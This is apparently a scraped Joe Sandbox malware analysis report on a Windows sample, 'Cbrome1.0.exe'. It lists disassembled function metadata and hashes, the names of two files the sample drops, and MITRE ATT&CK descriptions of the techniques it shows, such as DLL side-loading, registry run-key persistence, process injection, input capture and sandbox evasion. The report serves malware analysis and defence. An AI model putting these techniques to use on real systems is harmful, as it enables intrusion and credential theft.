Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: 5ba395d71b3304dd2c488ac152b127f71a50111fb4d3afe25b6c35265a6b589c
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: D9614D30708B258BEBA4DA5884C93E972E1FF68311F64055EE9CDC7692D6B0A8C1C7C6

Function 00000210AE4E20C4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4E20E8

Part of subcall function 00000210AE4D4958: _amsg_exit.LIBCMT ref: 00000210AE4D496E

Strings

csm, xrefs: 00000210AE4E221F
csm, xrefs: 00000210AE4E2115

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _amsg_exit_getptd
String ID: csm$csm
API String ID: 4217099735-3733052814
Opcode ID: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction ID: 0bda1f5416691035e3787b33f9625fc03aee61760349682277beb0739f819094
Opcode Fuzzy Hash: 5e3fd1bce8c838ab5e03e450a674cda2890a01e6717efc304ddca7fd09c103c4
Instruction Fuzzy Hash: C351D13210478086EB648F29A4C83EDB798FB61B84F248115DBD857BC5CFB8D9D0CB09

Function 00007FFD94478B44 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FFD94478B68

Strings

csm, xrefs: 00007FFD94478B95
csm, xrefs: 00007FFD94478C9F

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 52b3a9ad3180fc5ff03ffedfe7ad377a8c4b1ee4b0187de3abdf4d9ecab382fd
Instruction ID: efc761a933532877e5b3e2c74bd497ab50c1e55e1b19c26a22e7dc6b6d4f8be4
Opcode Fuzzy Hash: 52b3a9ad3180fc5ff03ffedfe7ad377a8c4b1ee4b0187de3abdf4d9ecab382fd
Instruction Fuzzy Hash: 3351A432B092818AEB748E6590A43797791FB52B84F44C035DA5C47B8ACF7CE496CB42

Function 00000210AE4DD904 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3334: _getptd.LIBCMT ref: 00000210AE4D3346

_errno.LIBCMT ref: 00000210AE4DD84C
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4DD857

Strings

cmd.exe, xrefs: 00000210AE4DD82E

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 2821341848-723907552
Opcode ID: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction ID: 458dd073cf6c0a362d259f7aa5bd655ee3ec0735a9069d44f360c0328a02a07c
Opcode Fuzzy Hash: 0266115e91bc52eaad2b33c98125c693a6f3df37ec7558ae37d65f5306a0b61e
Instruction Fuzzy Hash: 1021DB32E14B8082F762871598D83E96694ABE17E4F384311FBFA076C9CEA4C4D58700

Function 00000210AE4E620B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE4E62CF

Strings

csm, xrefs: 00000210AE4E6232
csm, xrefs: 00000210AE4E628B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm$csm
API String ID: 3186804695-3733052814
Opcode ID: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction ID: 72ed7874191c8e08e7935c98c940291047006eefdf73dfd8f7e02a8eb04aaf7a
Opcode Fuzzy Hash: 242a815db8c3cdda7a2ffcfa41b3fee5aa8c22d82fb7f5c2ad884890cf7d0286
Instruction Fuzzy Hash: F731B3731007448AEB609F65C4883D83B79F768B9DF961295EA8D0BB58CBB5C8D0C784

Function 00000210AE4E630B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4E0B80: _getptd.LIBCMT ref: 00000210AE4E0B8D
Part of subcall function 00000210AE4E0B80: _getptd.LIBCMT ref: 00000210AE4E0BA0

_getptd.LIBCMT ref: 00000210AE4E636C
_getptd.LIBCMT ref: 00000210AE4E637F

Strings

csm, xrefs: 00000210AE4E632B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction ID: 3d6f4153cbc1c61b15cd2f68544e73e5998d410abe0593f11bcb202ed77d846e
Opcode Fuzzy Hash: 26f1d399d85a811bd1aefae5e1e74d4b58932a37f709c1676df34e39b3a0f0b3
Instruction Fuzzy Hash: 9F014832540341C9EB749F7288D83EC23A8FB64B59F690565CB9D0B686CFA1C9C48344

Function 00007FFD94479142 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFD944776A0: _getptd.LIBCMT ref: 00007FFD944776AD
Part of subcall function 00007FFD944776A0: _getptd.LIBCMT ref: 00007FFD944776C0

_getptd.LIBCMT ref: 00007FFD944791A5
_getptd.LIBCMT ref: 00007FFD944791B8

Strings

csm, xrefs: 00007FFD9447915B

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 5965f17aa3332b4e44b0aa65d61c54735a76f66c1f86e0f5987416d31bc3ed5d
Instruction ID: 65f920990bb169d77ce385b86ab897f160340fe9805baf3af71151e4f0e2edb7
Opcode Fuzzy Hash: 5965f17aa3332b4e44b0aa65d61c54735a76f66c1f86e0f5987416d31bc3ed5d
Instruction Fuzzy Hash: C4012572A0864285FF74AFA188E42BC23A4EB56796F45C135C90D0764BDF79E9A2C701

Function 00000210AE4DFC18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00000210AE4DFC36

Part of subcall function 00000210AE4D581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000210AE4D3332), ref: 00000210AE4D5897

std::exception::exception.LIBCMT ref: 00000210AE4DFC70

Part of subcall function 00000210AE4D3854: std::exception::operator=.LIBCMT ref: 00000210AE4D3870

Strings

regular expression error, xrefs: 00000210AE4DFC20

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: std::exception::exception$ExceptionRaisestd::exception::operator=
String ID: regular expression error
API String ID: 958326869-2947193470
Opcode ID: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction ID: f7ca5afa421b4755a8e1c59798421f2cba21be486669ee0ffb1743287f16382e
Opcode Fuzzy Hash: ff8c2e4f42a0520cba126fe10ee74a09866bc8aa3b4b7254a67f0fb6c7d3fc4e
Instruction Fuzzy Hash: 42F06275604B8992DB24DF65F9C44C97364FBA8394F604411A7C947B19DFB8C5E9CB00

Function 00000210AE4CF130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 00000210AE4CF166
wsprintfW.USER32 ref: 00000210AE4CF184

Part of subcall function 00000210AE4CEF20: FindFirstFileW.KERNEL32 ref: 00000210AE4CEFF0

Strings

%s%s, xrefs: 00000210AE4CF175

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: FileFindFirstFolderKnownPathwsprintf
String ID: %s%s
API String ID: 2506083511-3252725368
Opcode ID: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction ID: 95336ddc93fd036759656e857e2ddc2bb88981d6d1a815a5df5442a9745cd20d
Opcode Fuzzy Hash: cf0cb94e8e76bd572306bd30864732f376da17c4046eae9bd0e18817c63ecf81
Instruction Fuzzy Hash: 8201FF31214B8581EE209F25FDDD7EA6364FBE8B88F645011EBCD47619DE7CC1858B40

Function 00000210AE4DDDF8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4DDDFE
__doserrno.LIBCMT ref: 00000210AE4DDE09

Strings

M, xrefs: 00000210AE4DDDF8

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: __doserrno_errno
String ID: M
API String ID: 921712934-3664761504
Opcode ID: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction ID: 2a5cb3677b4a7914f1f927e3bca8e52200b6a961ed5ffa8a8b205369a89ad6a2
Opcode Fuzzy Hash: 88e3740ee09343cd30c38a3a770d6118f1510097ede86d60084724bf1f3c4cd7
Instruction Fuzzy Hash: 2FE0E67360054049F353AF64F9C539926545B51738F518211ABA8065C2CEBC44C78710

Function 00000210AE1D5B08 Relevance: 5.1, APIs: 4, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 00000210AE1D5B43

Part of subcall function 00000210AE1E36E0: _errno.LIBCMT ref: 00000210AE1E3700

free.LIBCMT ref: 00000210AE1D5B6B
free.LIBCMT ref: 00000210AE1D5B85
free.LIBCMT ref: 00000210AE1D5BB3

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction ID: 5fd615fdec873b6b9e4ac95411548a4af817f5899b1d2e6bac00b7bd68e82ca6
Opcode Fuzzy Hash: b863403ab495316a5b6b17ca1e1e139bea759e5f61c69152686c6568255f01be
Instruction Fuzzy Hash: 6E212F31214F199FDBA5FF5D84E87E673E1FFA8310F640569A989C3292DE60F8868740

Function 00000210AE4C6150 Relevance: 5.1, APIs: 4, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 00000210AE4C618B

Part of subcall function 00000210AE4D3D28: HeapFree.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D3E
Part of subcall function 00000210AE4D3D28: _errno.LIBCMT ref: 00000210AE4D3D48
Part of subcall function 00000210AE4D3D28: GetLastError.KERNEL32(?,?,00000000,00000210AE4D4940,?,?,?,00000210AE4D3209,?,?,?,?,00000210AE4E3CCA), ref: 00000210AE4D3D50

free.LIBCMT ref: 00000210AE4C61B3
free.LIBCMT ref: 00000210AE4C61CD
free.LIBCMT ref: 00000210AE4C61FB

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction ID: d396c9e9371f7a9f52c183032385065af1819f27ce276b2888fba846ad819d74
Opcode Fuzzy Hash: 49d45eedc48c0d8e1f115a64ee84916a85c82a77571192eddabdc062e6e56858
Instruction Fuzzy Hash: 15213335201B4141EA55EF12EAD43DDA368FFA4FC1F385421EF9D17B56DE64D4918340

Function 00000210AE4D2020 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00000210AE4D209A
VirtualFree.KERNEL32(?,?,00000000,00000210AE4D1EDE,?,?,?,00000210AE4CE182), ref: 00000210AE4D20B5
GetProcessHeap.KERNEL32(?,?,00000000,00000210AE4D1EDE,?,?,?,00000210AE4CE182), ref: 00000210AE4D20BB
HeapFree.KERNEL32(?,?,00000000,00000210AE4D1EDE,?,?,?,00000210AE4CE182), ref: 00000210AE4D20C9

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: FreeHeap$ProcessVirtualfree
String ID:
API String ID: 4282497734-0
Opcode ID: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction ID: af7818afabbc087b807fccdf038bdbf725be6ba02a102fdf89889da4eda13a04
Opcode Fuzzy Hash: 3b9f99c55452a2da9007e377bfe996ac61a1e50bdcc6d0c570a87083eee3be1a
Instruction Fuzzy Hash: 75115132611B5483EB99CF66D8C439DA3A5FB98F84F195015DF8A13A58CF74C8D2C740

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Cbrome1.0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\buunn\arphaCrashReport64.exe

C:\ProgramData\buunn\arphaDump64.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

Windows Analysis Report
Cbrome1.0.exe

Function 0000023A29E13560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Function 0000023A29E114C0 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 174
libraryloaderregistryCOMMON

Function 0000023A29E14530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Function 0000023A29E20180 Relevance: 21.6, APIs: 8, Strings: 4, Instructions: 568
COMMON

Function 0000023A29E274B8 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 292
timeCOMMONLIBRARYCODE

Function 0000023A27B096B1 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 252
